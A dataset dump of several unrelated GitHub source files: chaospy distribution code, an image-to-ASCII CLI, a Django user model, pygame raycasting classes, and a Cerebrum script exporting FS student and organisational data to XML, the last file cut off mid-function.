**prm (array_like) : Other optional parameters. Will be assumed when\n calling any sub-functions.\n \"\"\"\n for key, val in prm.items():\n if not isinstance(val, Dist):\n prm[key] = np.array(val)\n\n self.length = int(prm.pop(\"_length\", 1))\n self.advance = prm.pop(\"_advance\", False)\n self.prm = prm.copy()\n self.G = Graph(self)\n self.dependencies = self.G.run(self.length, \"dep\")[0]\n\n def range(self, x=None, retall=False, verbose=False):\n \"\"\"\n Generate the upper and lower bounds of a distribution.\n\n Args:\n x (array_like, optional) : The bounds might vary over the sample\n space. By providing x you can specify where in the space\n the bound should be taken. If omited, a (pseudo-)random\n sample is used.\n\n Returns:\n (np.ndarray) : The lower (out[0]) and upper (out[1]) bound where\n out.shape=(2,)+x.shape\n \"\"\"\n dim = len(self)\n if x is None:\n x = find_interior_point(self)\n else:\n x = np.array(x)\n shape = x.shape\n size = int(x.size/dim)\n x = x.reshape(dim, size)\n\n out, G = self.G.run(x, \"range\")\n out = out.reshape((2,)+shape)\n\n if verbose>1:\n print(G)\n\n if retall:\n return out, G\n return out\n\n def fwd(self, x):\n \"\"\"\n Forward Rosenblatt transformation.\n\n Args:\n x (array_like) : Location for the distribution function. x.shape\n must be compatible with distribution shape.\n\n Returns:\n (ndarray) : Evaluated distribution function values, where\n out.shape==x.shape.\n \"\"\"\n return rosenblatt.fwd(self, x)\n\n def inv(self, q, maxiter=100, tol=1e-5, verbose=False, **kws):\n \"\"\"\n Inverse Rosenblatt transformation.\n\n Args:\n q (array_like) : Probabilities to be inverse. If any values are\n outside [0,1], error will be raised. q.shape must be\n compatible with diistribution shape.\n\n Kwargs:\n maxiter (int) : Maximum number of iterations\n tol (float) : Tolerence level\n\n Returns:\n (ndarray) : Inverted probability values where out.shape==q.shape.\n \"\"\"\n return rosenblatt.inv(self, q, maxiter, tol, **kws)\n\n def pdf(self, x, step=1e-7, verbose=0):\n \"\"\"\n Probability density function.\n\n Args:\n x (array_like) : Location for the density function. x.shape must\n be compatible with distribution shape.\n step (float, array_like) : The step length given aproximation is\n used. If array provided, elements are used along each\n axis.\n\n Returns:\n (ndarray) : Evaluated density function values. Shapes are related\n through the identity x.shape=dist.shape+out.shape\n \"\"\"\n dim = len(self)\n x = np.array(x)\n shape = x.shape\n size = int(x.size/dim)\n x = x.reshape(dim, size)\n out = np.zeros((dim, size))\n\n (lo, up), G = self.G.run(x, \"range\")\n valids = np.prod((x.T >= lo.T)*(x.T <= up.T), 1, dtype=bool)\n x[:, True-valids] = (.5*(up+lo))[:, True-valids]\n out = np.zeros((dim,size))\n\n try:\n tmp,G = self.G.run(x, \"pdf\",\n eps=step)\n out[:,valids] = tmp[:,valids]\n except NotImplementedError:\n tmp,G = pdf_full(self, x, step, retall=True)\n out[:,valids] = tmp[:,valids]\n if verbose:\n print(\"approx %s.pdf\")\n except IndexError:\n pass\n\n if verbose>1:\n print(self.G)\n\n out = out.reshape(shape)\n if dim>1:\n out = np.prod(out, 0)\n return out\n\n def sample(self, size=(), rule=\"R\", antithetic=None,\n verbose=False, **kws):\n \"\"\"\n Create pseudo-random generated samples.\n\n Args:\n size (int,array_like) : The size of the samples to generate.\n rule (str) : Alternative sampling techniques. See\n :func:`~chaospy.dist.samplegen`.\n antithetic (bool, array_like) : If provided, will be used to setup\n antithetic variables. If array, defines the axes to mirror.\n\n Returns:\n (ndarray) : Random samples with shape (len(self),)+self.shape\n \"\"\"\n size_ = np.prod(size, dtype=int)\n dim = len(self)\n if dim>1:\n if isinstance(size, (tuple,list,np.ndarray)):\n shape = (dim,) + tuple(size)\n else:\n shape = (dim, size)\n else:\n shape = size\n\n out = samplegen(size_, self, rule, antithetic)\n try:\n out = out.reshape(shape)\n except:\n if len(self)==1:\n out = out.flatten()\n else:\n out = out.reshape(dim, int(out.size/dim))\n\n return out\n\n def mom(self, K, **kws):\n \"\"\"\n Raw statistical moments.\n\n Creates non-centralized raw moments from the random variable. If\n analytical options can not be utilized, Monte Carlo integration\n will be used.\n\n Args:\n K (array_like) : Index of the raw moments. k.shape must be\n compatible with distribution shape. Sampling scheme when\n performing Monte Carlo\n rule (str) : rule for estimating the moment if the analytical\n method fails.\n composit (int, array_like optional) : If provided, composit\n quadrature will be used. Ignored in the case if\n gaussian=True. If int provided, determines number of even\n domain splits. If array of ints, determines number of even\n domain splits along each axis. If array of arrays/floats,\n determines location of splits.\n antithetic (array_like, optional) : List of bool. Represents the\n axes to mirror using antithetic variable during MCI.\n\n Returns:\n (ndarray) : Shapes are related through the identity\n `k.shape==dist.shape+k.shape`.\n \"\"\"\n K = np.array(K, dtype=int)\n shape = K.shape\n dim = len(self)\n\n if dim > 1:\n shape = shape[1:]\n\n size = int(K.size/dim)\n K = K.reshape(dim, size)\n\n try:\n out, G = self.G.run(K, \"mom\", **kws)\n\n except NotImplementedError:\n out = mom(self, K, **kws)\n\n return out.reshape(shape)\n\n def ttr(self, k, acc=10**3, verbose=1):\n \"\"\"\n Three terms relation's coefficient generator\n\n Args:\n k (array_like, int) : The order of the coefficients.\n acc (int) : Accuracy of discretized Stieltjes if analytical\n methods are unavailable.\n\n Returns:\n (Recurrence coefficients) : Where out[0] is the first (A) and\n out[1] is the second coefficient With\n `out.shape==(2,)+k.shape`.\n \"\"\"\n k = np.array(k, dtype=int)\n dim = len(self)\n shape = k.shape\n shape = (2,) + shape\n size = int(k.size/dim)\n k = k.reshape(dim, size)\n\n out, G = self.G.run(k, \"ttr\")\n return out.reshape(shape)\n\n def _ttr(self, *args, **kws):\n \"\"\"Default TTR generator, throws error.\"\"\"\n raise NotImplementedError\n\n def _dep(self, G):\n \"\"\"\n Default dependency module backend.\n\n See graph for advanced distributions.\n \"\"\"\n sets = [G(dist) for dist in G.D]\n if len(self)==1:\n out = [set([self])]\n else:\n out = [set([]) for _ in range(len(self))]\n for s in sets:\n for i in range(len(self)):\n out[i].update(s[i])\n\n return out\n\n\n def __str__(self):\n \"\"\"X.__str__() <==> str(X)\"\"\"\n if hasattr(self, \"_str\"):\n return string(self._str(**self.prm))\n return \"D\"\n\n def __len__(self):\n \"\"\"X.__len__() <==> len(X)\"\"\"\n return self.length\n\n def __add__(self, X):\n \"\"\"Y.__add__(X) <==> X+Y\"\"\"\n return add(self, X)\n\n def __radd__(self, X):\n \"\"\"Y.__radd__(X) <==> Y+X\"\"\"\n return add(self, X)\n\n def __sub__(self, X):\n \"\"\"Y.__sub__(X) <==> X-Y\"\"\"\n return add(self, -X)\n\n def __rsub__(self, X):\n \"\"\"Y.__rsub__(X) <==> Y-X\"\"\"\n return add(X, -self)\n\n def __neg__(self):\n \"\"\"X.__neg__() <==> -X\"\"\"\n return neg(self)\n\n def __mul__(self, X):\n \"\"\"Y.__mul__(X) <==> X*Y\"\"\"\n return mul(self, X)\n\n def __rmul__(self, X):\n \"\"\"Y.__rmul__(X) <==> Y*X\"\"\"\n return mul(self, X)\n\n def __div__(self, X):\n \"\"\"Y.__div__(X) <==> Y/X\"\"\"\n return mul(self, X**-1)\n\n def __rdiv__(self, X):\n \"\"\"Y.__rdiv__(X) <==> X/Y\"\"\"\n return mul(X, self**-1)\n\n def __truediv__(self, X):\n \"\"\"Y.__truediv__(X) <==> Y/X\"\"\"\n return mul(self, X**-1)\n\n def __rtruediv__(self, X):\n \"\"\"Y.__rtruediv__(X) <==> X/Y\"\"\"\n return mul(X, self**-1)\n\n def __floordiv__(self, X):\n \"\"\"Y.__floordiv__(X) <==> Y/X\"\"\"\n return mul(self, X**-1)\n\n def __rfloordiv__(self, X):\n \"\"\"Y.__rfloordiv__(X) <==> X/Y\"\"\"\n return mul(X, self**-1)\n\n def __pow__(self, X):\n \"\"\"Y.__pow__(X) <==> Y**X\"\"\"\n return pow(self, X)\n\n def __rpow__(self, X):\n \"\"\"Y.__pow__(X) <==> X**Y\"\"\"\n return pow(X, self)\n\n def __le__(self, X):\n \"\"\"Y.__le__(X) <==> Y<=X\"\"\"\n return trunk(self, X)\n\n def __lt__(self, X):\n \"\"\"Y.__lt__(X) <==> Y<X\"\"\"\n return trunk(self, X)\n\n def __ge__(self, X):\n \"\"\"Y.__ge__(X) <==> Y>=X\"\"\"\n return trunk(X, self)\n\n def __gt__(self, X):\n \"\"\"Y.__gt__(X) <==> Y>X\"\"\"\n return trunk(X, self)\n\n def addattr(self, **kws):\n \"\"\"\n Add attribution to distribution\n\n Kwargs:\n pdf (callable) : Probability density function.\n cdf (callable) : Cumulative distribution function.\n ppf (callable) : Point percentile function.\n mom (callable) : Raw statistical moments.\n ttr (callable) : Three term recursion coefficient generator.\n val (callable) : If auxiliary variable, try to return the values\n of it's underlying variables, else return self.\n str (callable, str) : Pretty print of module.\n dep (callable) : Dependency structure (if non-trivial).\n \"\"\"\n for key,val in kws.items():\n if key==\"str\" and isinstance(val, string):\n val_ = val\n val = lambda *a,**k: val_\n setattr(self, \"_\"+key, types.MethodType(val, self))\n\n\n def dependent(self, *args):\n \"\"\"\n Determine dependency structure in module\n\n Args:\n arg, [...] (optional) : If omited, internal dependency will be\n determined. If included, dependency between self and args\n will be used.\n\n Returns:\n (bool) : True if distribution is dependent.\n \"\"\"\n sets, G = self.G.run(None, \"dep\")\n\n if args:\n\n sets_ = set()\n for set_ in sets:\n sets_ = sets_.union(set_)\n sets = [sets_]\n\n for arg in args:\n sets_ = set()\n for set_ in arg.G.run(None, \"dep\"):\n sets_ = sets_.union(set_)\n sets.append(sets_)\n\n as_seperated = sum([len(set_) for set_ in sets])\n\n as_joined = set()\n for set_ in sets:\n as_joined = as_joined.union(set_)\n as_joined = len(as_joined)\n\n return as_seperated != as_joined\n\n\ndef construct(cdf, bnd, parent=None, pdf=None, ppf=None, mom=None, ttr=None,\n val=None, doc=None, str=None, dep=None, defaults=None,\n advance=False, length=1):\n \"\"\"\n Random variable constructor.\n\n Args:\n cdf (callable) : Cumulative distribution function. Optional if parent\n is used.\n bnd (callable) : Boundary interval. Optional if parent is used.\n parent (Dist) : Distribution used as basis for new distribution. Any\n other argument that is omitted will instead take is function\n from parent.\n doc (str, optional) : Documentation for the distribution.\n str (str, callable, optional) : Pretty print of the variable.\n pdf (callable, optional) : Probability density function.\n ppf (callable, optional) : Point percentile function.\n mom (callable, optional) : Raw moment generator.\n ttr (callable, optional) : Three terms recursion coefficient generator\n val (callable, optional) : Value function for transferable\n distributions.\n dep (callable, optional) : Dependency structure.\n advance (bool) : If True, advance mode is used. See dist.graph for\n details.\n length (int) : If constructing an multivariate random variable, this\n sets the assumed length. Defaults to 1.\n init (callable, optional) : Custom constructor method.\n\n Returns:\n dist (Dist) : New custom distribution.\n \"\"\"\n if not (parent is None):\n if hasattr(parent, \"_cdf\"):\n cdf = cdf or parent._cdf\n if hasattr(parent, \"_bnd\"):\n bnd = bnd or parent._bnd\n if hasattr(parent, \"_pdf\"):\n pdf = pdf or parent._pdf\n if hasattr(parent, \"_ppf\"):\n ppf = ppf or parent._ppf\n if hasattr(parent, \"_mom\"):\n mom = mom or parent._mom\n if hasattr(parent, \"_ttr\"):\n ttr = ttr or parent._ttr\n if hasattr(parent, \"_str\"):\n str = str or parent._str\n if hasattr(parent, \"_dep\"):\n dep = dep or parent._dep\n val = val or parent._val\n doc = doc or parent.__doc__\n\n def crash_func(*a, **kw):\n raise NotImplementedError\n if advance:\n ppf = ppf or crash_func\n pdf = pdf or crash_func\n mom = mom or crash_func\n ttr = ttr or crash_func\n\n def custom(**kws):\n\n if not (defaults is None):\n keys = defaults.keys()\n assert all([key in keys for key in kws.keys()])\n prm = defaults.copy()\n else:\n prm = {}\n prm.update(kws)\n _length = prm.pop(\"_length\", length)\n _advance = prm.pop(\"_advance\", advance)\n\n dist = Dist(_advance=_advance, _length=_length, **prm)\n\n dist.addattr(cdf=cdf)\n dist.addattr(bnd=bnd)\n\n if not (pdf is None):\n dist.addattr(pdf=pdf)\n if not (ppf is None):\n dist.addattr(ppf=ppf)\n if not (mom is None):\n dist.addattr(mom=mom)\n if not (ttr is None):\n dist.addattr(ttr=ttr)\n if not (val is None):\n dist.addattr(val=val)\n if not (str is None):\n dist.addattr(str=str)\n if not (dep is None):\n dist.addattr(dep=dep)\n\n return dist\n\n if not (doc is None):\n doc = \"\"\"\nCustom random variable\n \"\"\"\n setattr(custom, \"__doc__\", doc)\n\n return custom\n\nfrom .operators import add, mul, neg, pow, trunk\n","repo_name":"davidovitch/chaospy","sub_path":"src/chaospy/dist/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":19058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"30800962040","text":"import argparse\r\nfrom generator import ASCIIArtGenerator\r\n\r\ndef main():\r\n all_ascii_chars = [\"@\", \"#\", \"8\", \"&\", \"o\", \":\", \"*\", \".\", \" \"]\r\n for i in range(32, 127):\r\n all_ascii_chars.append(chr(i))\r\n ascii_generator = ASCIIArtGenerator(all_ascii_chars)\r\n\r\n parser = argparse.ArgumentParser(description='Convert an image to ASCII art and display it with character delay.')\r\n\r\n parser.add_argument('--path', required=True, help='Path to the input image')\r\n parser.add_argument('--display', type=float, default=0.001, help='Character display delay in seconds')\r\n parser.add_argument('--save', action='store_true', help='Save the ASCII art to a text file', default=False)\r\n parser.add_argument('--width', type=int, help='Width of ASCII art (chars)', default=200)\r\n parser.add_argument('--height', type=int, help='Height of ASCII art (chars)', default=100)\r\n\r\n args = parser.parse_args()\r\n ascii_art = ascii_generator.generate_ascii_art(args.path, new_height=args.height, new_width=args.width)\r\n ascii_generator.display(ascii_art, delay=args.display)\r\n\r\n if args.save:\r\n ascii_generator.save(ascii_art)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"hitori21/img2ascii","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"70220490171","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nclass Usuario(User):\n ROLES = (\n ('AD','Administrador'),\n ('GE','Gerente'),\n ('OP','Operador'),\n ('CL','Cliente')\n )\n rol = models.CharField(max_length=2, choices=ROLES, null=False, default=\"\")\n","repo_name":"CamiloSanchez0312/teslaenergyapi","sub_path":"users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19033002962","text":"from typing import List\nfrom math import sqrt, radians, cos, sin, ceil\nimport pygame as pg\nimport helper as hl\n\n\nclass Vector:\n \"\"\"\n A simple vector object with a position and various functions\n\n :param x: Position along the horizontal\n :type x: float\n :param y: Position along the vertical\n :type y: float\n \"\"\"\n def __init__(self, x: float, y: float):\n self.x = x\n self.y = y\n\n def normalize(self, scale: float = 1):\n \"\"\"\n Normalizes the vector with a scale\n I gotta be honest I don't know exactly what this does\n\n :param scale: Scale\n :type scale: float\n :return: None\n \"\"\"\n norm = sqrt(self.x * self.x + self.y * self.y)\n if norm != 0:\n self.x = scale * self.x / norm\n self.y = scale * self.y / norm\n return\n\n def setmag(self, n: float):\n \"\"\"\n Sets the magnitude of the vector\n\n :param n: Scale of the magnitude\n :type n: float\n :return: None\n \"\"\"\n self.normalize()\n self.mult(n)\n return\n\n def mult(self, n: float):\n \"\"\"\n Multiplies the vector by n\n\n :param n: Factor to multiply by\n :type n: float\n :return: None\n \"\"\"\n self.x *= n\n self.y *= n\n return\n\n def dist(self, v2: \"Vector\"):\n \"\"\"\n Determines distance between two vectors\n\n :param v2: Second vector\n :type v2: Vector\n :return: Distance\n :rtype: float\n \"\"\"\n return sqrt((v2.x - self.x)**2 + (v2.y - self.y)**2)\n\n def add(self, vec: \"Vector\"):\n \"\"\"\n Adds two vectors together\n\n :param vec: Second vector\n :type vec: Vector\n :return: None\n \"\"\"\n self.x += vec.x\n self.y += vec.y\n return\n\n\nclass Boundary:\n \"\"\"\n A boundary made from two vectors\n\n :param posa: The first position of the boundary\n :type posa: Vector\n\n :param posb: The second position of the boundary\n :type posb: Vector\n\n :param col: Three colors delineating an RGB color\n :type col: tuple\n\n :param clip: Whether or not the wall can be walked through\n :type clip: bool\n \"\"\"\n def __init__(self, posa: Vector, posb: Vector, col: tuple = (255, 255, 255), clip: bool = True):\n self.a = posa\n self.b = posb\n self.col = col\n self.clip = clip\n\n def draw(self, win: pg.Surface, stroke: float = 1, offset: float = 0):\n \"\"\"\n Draws the boundary on the screen (2D)\n\n :param win: The window to draw to\n :type win: pygame.Surface\n :param stroke: The width of the line\n :type stroke: float\n :param offset: Horizontal offset to draw too\n :type offset: float\n :return:\n \"\"\"\n pg.draw.line(win, self.col, [self.a.x+offset, self.a.y], [self.b.x+offset, self.b.y], stroke)\n\n\nclass Ray:\n \"\"\"\n A ray drawn from a point that goes infinitely offward\n\n :param pos: The position that the ray starts\n :type pos: Vector\n :param angle: The angle the ray is facing\n :type angle: float\n \"\"\"\n def __init__(self, pos: Vector, angle: float):\n self.pos = pos\n self.angle = angle\n self.ang = Vector(cos(angle), sin(angle))\n\n def setangle(self, a: float):\n \"\"\"\n Set the angle to a\n\n :param a: Angle to set\n :type a: float\n :return: None\n \"\"\"\n self.angle = a\n self.ang = Vector(cos(a), sin(a))\n return\n\n def look(self, x: float, y: float):\n \"\"\"\n Look towards a point\n\n :param x: Horizontal position\n :type x: float\n :param y: Vertical position\n :type y: float\n :return: None\n \"\"\"\n self.ang.x = x - self.pos.x\n self.ang.y = y - self.pos.y\n self.ang.normalize()\n return\n\n def draw(self, win: pg.Surface, color: tuple = (255, 255, 255), stroke: float = 1):\n \"\"\"\n Draw the ray on the screen (2D)\n\n :param win: The window to draw to\n :type win: pygame.Surface\n :param color: Color of the ray\n :type color: tuple\n :param stroke: The width of the line\n :type stroke: float\n :return: None\n \"\"\"\n draw_dir = [self.pos.x + (self.ang.x * 10), self.pos.y + (self.ang.y * 10), ]\n pg.draw.line(win, color, [self.pos.x, self.pos.y], draw_dir, stroke)\n return\n\n def cast(self, wall: Boundary):\n \"\"\"\n Checks if the ray intersects with a wall, and returns the results\n\n :param wall: A boundary to check the intersection with\n :type wall: Boundary\n :return: The point where the ray hits the wall, or an empty list if it doesn't\n :rtype: List[float]\n \"\"\"\n return hl.intersect(wall.a, wall.b, self.pos, Vector(self.pos.x + self.ang.x, self.pos.y + self.ang.y))\n\n\nclass Particle:\n \"\"\"\n A particle that draws rays for drawing\n\n :param pos: The initial position of the particle\n :type pos: Vector\n :param fov: The field of view, and the initital raycount\n :type fov: int\n :param res: The amount to multiply the raycount by\n :type res: int\n \"\"\"\n def __init__(self, pos: Vector = Vector(250, 250), fov: int = 90, res: int = 1):\n self.pos = pos\n self.rays = []\n self.fov = fov\n self.heading = 0\n self.res = res\n for x in range(0-(int(fov/2))*res, int(fov/2)*res):\n self.rays.append(Ray(self.pos, radians(x/res)))\n self.rotate(0)\n\n def move(self, amt: float):\n \"\"\"\n Move in the direction of the heading\n\n :param amt: Amount to move\n :type amt: float\n :return: None\n \"\"\"\n vel = Vector(cos(self.heading), sin(self.heading))\n vel.setmag(amt)\n self.pos.add(vel)\n return\n\n def update(self, x: float, y: float):\n \"\"\"\n Move to new position\n\n :param x: Horizontal position\n :type x: float\n :param y: Vertical position\n :type y: float\n :return: None\n \"\"\"\n self.pos = Vector(x, y)\n for ray in self.rays:\n ray.pos = self.pos\n return\n\n def rotate(self, angle: float):\n \"\"\"\n Rotate clockwise by angle\n\n :param angle: Angle to turn\n :type angle: float\n :return: None\n \"\"\"\n self.heading += angle\n index = 0\n for i in range(0-(int(len(self.rays)/2)), int(len(self.rays)/2)):\n self.rays[index].setangle(radians(i / self.res) + self.heading)\n index += 1\n return\n\n def look(self, win: pg.Surface, walls: List[Boundary], do_draw: bool, offset: float = 0):\n \"\"\"\n Checks all ray intersections and returns a list of all of them\n\n :param win: Screen to draw to if enabled\n :type win: pygame.Surface\n :param walls: List of walls to check intersections with\n :type walls: List[Boundary]\n :param do_draw: Whether or not to draw the rays\n :type do_draw: bool\n :param offset: Horizontal offset to draw too\n :type offset: float\n :return: A list of all points of intersections with walls and rays\n :rtype: List[List[float]]\n \"\"\"\n scene = []\n for ray in self.rays:\n closest = None\n record = [float(\"inf\")]\n for wall in walls:\n pt = ray.cast(wall)\n if pt:\n d = self.pos.dist(Vector(pt[0], pt[1]))\n if d < record[0]:\n record = [ceil(d * cos(ray.angle - self.heading)), wall.col]\n #record = [ceil(d), wall.col]\n closest = pt\n if record[0] < float(\"inf\"):\n scene.append(record)\n else:\n scene.append([float(\"inf\"), (0, 0, 0)])\n # if closest and do_draw: # lazily disabled\n # pg.draw.line(win, (255, 255, 255), [self.pos.x+offset, self.pos.y], [closest[0]+offset, closest[1]], 1)\n return scene\n\n def draw(self, win, color=(255, 255, 255), stroke: float = 0, offset: float = 0):\n \"\"\"\n Draws the particle to the screen\n\n :param win: The window to draw to\n :type win: pygame.Surface\n :param color: Color of the ray\n :type color: tuple\n :param stroke: The width of the line\n :type stroke: float\n :param offset: Horizontal offset to draw too\n :type offset: float\n :return: None\n \"\"\"\n pg.draw.ellipse(win, color, [self.pos.x-8+offset, self.pos.y-8, 16, 16], stroke)\n return\n","repo_name":"Poccket/junk_repo","sub_path":"python/ray_cast/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":8683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43244458255","text":"from __future__ import unicode_literals\n\nimport logging\nimport os\nfrom functools import reduce\n\nimport six\n\nfrom Cerebrum.Utils import Factory\nfrom Cerebrum.extlib import xmlprinter\nfrom Cerebrum.modules.xmlutils.xml_helper import XMLHelper\nfrom Cerebrum.utils.atomicfile import AtomicFileWriter\nfrom Cerebrum.utils.atomicfile import SimilarSizeWriter\n\nXML_ENCODING = 'utf-8'\n\nlogger = logging.getLogger(__name__)\nxml = XMLHelper(encoding=XML_ENCODING)\n\n\nclass ImportFromFs(object):\n def __init__(self, fs):\n self.fs = fs\n\n @staticmethod\n def _ext_cols(db_rows):\n # TBD: One might consider letting xmlify_dbrow handle this\n cols = None\n if db_rows:\n cols = list(db_rows[0].keys())\n return cols, db_rows\n\n def write_person_info(self, person_file):\n \"\"\"Lager fil med informasjon om alle personer registrert i FS som\n vi muligens også ønsker å ha med i Cerebrum. En person kan\n forekomme flere ganger i filen.\"\"\"\n\n # TBD: Burde vi cache alle data, slik at vi i stedet kan lage en\n # fil der all informasjon om en person er samlet under en egen\n # <person> tag?\n\n logger.info(\"Writing person info to '%s'\", person_file)\n f = SimilarSizeWriter(person_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n\n # Aktive studenter\n cols, students = self._ext_cols(self.fs.student.list_aktiv())\n for s in students:\n self.fix_float(s)\n f.write(\n xml.xmlify_dbrow(s, xml.conv_colnames(cols), 'aktiv') + \"\\n\")\n\n # Eksamensmeldinger\n cols, students = self._ext_cols(\n self.fs.student.list_eksamensmeldinger())\n for s in students:\n f.write(\n xml.xmlify_dbrow(s, xml.conv_colnames(cols), 'eksamen') + \"\\n\")\n\n # EVU students\n # En del EVU studenter vil være gitt av søket over\n cols, students = self._ext_cols(self.fs.evu.list())\n for e in students:\n f.write(\n xml.xmlify_dbrow(e, xml.conv_colnames(cols), 'evu') + \"\\n\")\n\n # Aktive fagpersoner\n cols, fagperson = self._ext_cols(\n self.fs.undervisning.list_fagperson_semester())\n for p in fagperson:\n f.write(\n xml.xmlify_dbrow(\n p, xml.conv_colnames(cols),\n 'fagperson') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_ou_info(self, institution_number, ou_file):\n \"\"\"Lager fil med informasjon om alle OU-er\"\"\"\n logger.info(\"Writing OU info to '%s'\", ou_file)\n f = SimilarSizeWriter(ou_file, mode='w', encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, ouer = self._ext_cols(\n self.fs.info.list_ou(institution_number))\n for o in ouer:\n sted = {}\n for fs_col, xml_attr in (\n ('faknr', 'fakultetnr'),\n ('instituttnr', 'instituttnr'),\n ('gruppenr', 'gruppenr'),\n ('stedakronym', 'akronym'),\n ('stedakronym', 'forkstednavn'),\n ('stednavn_bokmal', 'stednavn'),\n ('stedkode_konv', 'stedkode_konv'),\n ('faknr_org_under', 'fakultetnr_for_org_sted'),\n ('instituttnr_org_under', 'instituttnr_for_org_sted'),\n ('gruppenr_org_under', 'gruppenr_for_org_sted'),\n ('adrlin1', 'adresselinje1_intern_adr'),\n ('adrlin2', 'adresselinje2_intern_adr'),\n ('postnr', 'poststednr_intern_adr'),\n ('adrlin1_besok', 'adresselinje1_besok_adr'),\n ('adrlin2_besok', 'adresselinje2_besok_adr'),\n ('postnr_besok', 'poststednr_besok_adr')):\n if o[fs_col] is not None:\n sted[xml_attr] = xml.escape_xml_attr(o[fs_col])\n komm = []\n for fs_col, typekode in (\n ('telefonnr', 'EKSTRA TLF'),\n ('faxnr', 'FAX'),\n ('emailadresse', 'EMAIL'),\n ('url', 'URL')\n ):\n if o[fs_col]: # Skip NULLs and empty strings\n komm.append(\n {'kommtypekode': xml.escape_xml_attr(typekode),\n 'kommnrverdi': xml.escape_xml_attr(o[fs_col])})\n # TODO: Kolonnene 'url' og 'bibsysbeststedkode' hentes ut fra\n # FS, men tas ikke med i outputen herfra.\n f.write('<sted ' +\n ' '.join([\"%s=%s\" % item for item in sted.items()]) +\n '>\\n')\n for k in komm:\n f.write('<komm ' +\n ' '.join([\"%s=%s\" % item for item in k.items()]) +\n ' />\\n')\n f.write('</sted>\\n')\n f.write(\"</data>\\n\")\n f.close()\n\n def write_netpubl_info(self, netpubl_file):\n \"\"\"Lager fil med informasjon om status nettpublisering\"\"\"\n logger.info(\"Writing nettpubl info to '%s'\", netpubl_file)\n f = SimilarSizeWriter(netpubl_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, nettpubl = self._ext_cols(self.fs.person.list_status_nettpubl())\n for n in nettpubl:\n f.write(xml.xmlify_dbrow(n,\n xml.conv_colnames(cols),\n 'nettpubl') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_emne_info(self, emne_info_file):\n \"\"\"Lager fil med informasjon om alle definerte emner\"\"\"\n logger.info(\"Writing emne info to '%s'\", emne_info_file)\n f = SimilarSizeWriter(emne_info_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, dta = self._ext_cols(self.fs.info.list_emner())\n for t in dta:\n f.write(\n xml.xmlify_dbrow(t, xml.conv_colnames(cols), 'emne') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_role_info(self, role_file):\n \"\"\"Lager fil med informasjon om alle roller definer i FS.PERSONROLLE\"\"\"\n logger.info(\"Writing role info to '%s'\", role_file)\n f = SimilarSizeWriter(role_file, mode='w', encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, role = self._ext_cols(\n self.fs.undervisning.list_alle_personroller())\n for r in role:\n f.write(\n xml.xmlify_dbrow(r, xml.conv_colnames(cols), 'rolle') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_studprog_info(self, studprog_file):\n \"\"\"Lager fil med informasjon om alle definerte studieprogrammer\"\"\"\n logger.info(\"Writing studprog info to '%s'\", studprog_file)\n f = SimilarSizeWriter(studprog_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, dta = self._ext_cols(self.fs.info.list_studieprogrammer())\n for t in dta:\n f.write(\n xml.xmlify_dbrow(\n t, xml.conv_colnames(cols), 'studprog') + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_undenh_metainfo(self, undervenh_file):\n \"\"\"Skriv metadata om undervisningsenheter for inneværende+neste\n semester.\"\"\"\n logger.info(\"Writing undenh_meta info to '%s'\", undervenh_file)\n f = SimilarSizeWriter(undervenh_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<undervenhet>\\n\")\n for semester in ('current', 'next'):\n cols, undenh = self._ext_cols(\n self.fs.undervisning.list_undervisningenheter(sem=semester))\n for u in undenh:\n f.write(\n xml.xmlify_dbrow(u, xml.conv_colnames(cols), 'undenhet') +\n \"\\n\")\n f.write(\"</undervenhet>\\n\")\n f.close()\n\n def write_evukurs_info(self, evu_kursinfo_file):\n \"\"\"Skriv data om alle EVU-kurs (vi trenger dette bl.a. for å bygge\n EVU-delen av CF).\"\"\"\n logger.info(\"Writing evukurs info to '%s'\", evu_kursinfo_file)\n f = SimilarSizeWriter(evu_kursinfo_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n cols, evukurs = self._ext_cols(self.fs.evu.list_kurs())\n for ek in evukurs:\n f.write(\n xml.xmlify_dbrow(\n ek, xml.conv_colnames(cols), \"evukurs\") + \"\\n\")\n f.write(\"</data>\\n\")\n f.close()\n\n def write_undenh_student(self, undenh_student_file):\n \"\"\"Skriv oversikt over personer oppmeldt til undervisningsenheter.\n Tar med data for alle undervisingsenheter i inneværende+neste\n semester.\"\"\"\n logger.info(\"Writing undenh_student info to '%s'\",\n undenh_student_file)\n f = SimilarSizeWriter(undenh_student_file, mode='w',\n encoding=XML_ENCODING)\n f.max_pct_change = 50\n f.write(xml.xml_hdr + \"<data>\\n\")\n for semester in ('current', 'next'):\n cols, undenh = self._ext_cols(\n 